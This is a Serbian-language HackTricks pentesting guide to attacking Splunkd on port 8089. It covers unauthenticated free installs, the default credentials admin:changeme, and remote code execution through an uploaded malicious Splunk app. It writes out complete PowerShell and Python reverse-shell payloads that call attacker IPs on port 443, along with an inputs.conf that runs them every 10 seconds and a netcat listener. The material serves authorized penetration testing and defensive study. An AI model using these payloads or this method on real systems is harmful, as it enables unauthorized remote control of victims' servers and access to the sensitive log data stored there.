8.6 KiB
8089 - Pentestiranje Splunkd
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite videti oglašavanje vaše kompanije na HackTricks-u ili preuzeti HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Splunk je alat za analizu logova koji igra ključnu ulogu u prikupljanju, analiziranju i vizualizaciji podataka. Iako mu prvobitna svrha nije bila da služi kao alat za SIEM (Security Information and Event Management), stekao je popularnost u oblasti sigurnosnog nadzora i poslovne analitike.
Splunk implementacije se često koriste za skladištenje osetljivih podataka i mogu predstavljati vredan izvor informacija za potencijalne napadače ukoliko uspeju da kompromituju sistem. Podrazumevani port: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Splunk veb server podrazumevano radi na portu 8000. {% endhint %}
Enumeracija
Besplatna verzija
Splunk Enterprise probna verzija se pretvara u besplatnu verziju nakon 60 dana, koja ne zahteva autentifikaciju. Nije neobično da sistem administratori instaliraju probnu verziju Splunka kako bi je testirali, a zatim je zaborave. Ovo će se automatski pretvoriti u besplatnu verziju koja nema nikakav oblik autentifikacije, uvodeći sigurnosnu rupu u okruženju. Neke organizacije mogu izabrati besplatnu verziju zbog ograničenja budžeta, ne shvatajući u potpunosti implikacije nemogućnosti upravljanja korisnicima/ulogama.
Podrazumevani pristupni podaci
Na starijim verzijama Splunka, podrazumevani pristupni podaci su admin:changeme
, koji su prikazani na stranici za prijavu.
Međutim, najnovija verzija Splunka postavlja pristupne podatke tokom procesa instalacije. Ako podrazumevani pristupni podaci ne funkcionišu, vredi proveriti uobičajene slabe lozinke poput admin
, Welcome
, Welcome1
, Password123
, itd.
Dobijanje informacija
Nakon prijave na Splunk, možemo pregledati podatke, pokretati izveštaje, kreirati instrument table, instalirati aplikacije iz Splunkbase biblioteke i instalirati prilagođene aplikacije.
Takođe možete pokretati kod: Splunk ima više načina za pokretanje koda, kao što su Django aplikacije na serverskoj strani, REST endpointi, skriptovani ulazi i skripte za upozorenja. Uobičajeni način dobijanja udaljenog izvršavanja koda na Splunk serveru je kroz upotrebu skriptovanog ulaza.
Osim toga, pošto se Splunk može instalirati na Windows ili Linux hostovima, mogu se kreirati skriptovani ulazi za pokretanje Bash, PowerShell ili Batch skripti.
Shodan
Splunk build
RCE
Kreiranje prilagođene aplikacije
Prilagođena aplikacija može pokretati Python, Batch, Bash ili PowerShell skripte.
Imajte na umu da Splunk dolazi sa instaliranim Pythonom, pa čak i na Windows sistemima možete pokretati Python kod.
Možete koristiti ovaj Splunk paket da nam pomogne. bin
direktorijum u ovom repozitorijumu ima primere za Python i PowerShell. Hajde da prođemo kroz ovo korak po korak.
Da bismo to postigli, prvo moramo kreirati prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
tree splunk_shell/
splunk_shell/
├── bin
└── default
bin
direktorijum će sadržati sve skripte koje nameravamo da pokrenemo (u ovom slučaju, PowerShell reverse shell), a podrazumevani direktorijum će sadržati naš inputs.conf
fajl. Naš reverse shell će biti PowerShell jednolinijski kod:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Fajl inputs.conf govori Splunku koji skript da pokrene i bilo koje druge uslove. Ovde postavljamo aplikaciju kao omogućenu i kažemo Splunku da pokrene skriptu svakih 10 sekundi. Interval je uvek u sekundama, a ulaz (skripta) će se pokrenuti samo ako je ova postavka prisutna.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Potrebno nam je .bat
fajl koji će se pokrenuti prilikom implementacije aplikacije i izvršiti PowerShell jednolinijski kod.
Sledeći korak je odabrati Install app from file
i otpremiti aplikaciju.
Pre otpremanja zlonamerne prilagođene aplikacije, pokrenimo slušaoca koristeći Netcat ili socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Na stranici Uploaduj aplikaciju
, kliknite na Pretraži
, izaberite tarball koji smo prethodno kreirali i kliknite na Upload
. Čim uploadujemo aplikaciju, primićemo obrnuti shell jer će se status aplikacije automatski promeniti u Omogućeno
.
Linux
Ako se bavimo Linux hostom, morali bismo izmeniti Python skriptu rev.py
pre nego što kreiramo tarball i uploadujemo prilagođenu zlonamernu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo obrnutu shell konekciju na našem Netcat slušaocu i mogli bismo da nastavimo sa napadom.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Eskalacija privilegija
Na sledećoj stranici možete pronaći objašnjenje kako se ovaj servis može zloupotrebiti radi eskalacije privilegija i postizanja trajnosti:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.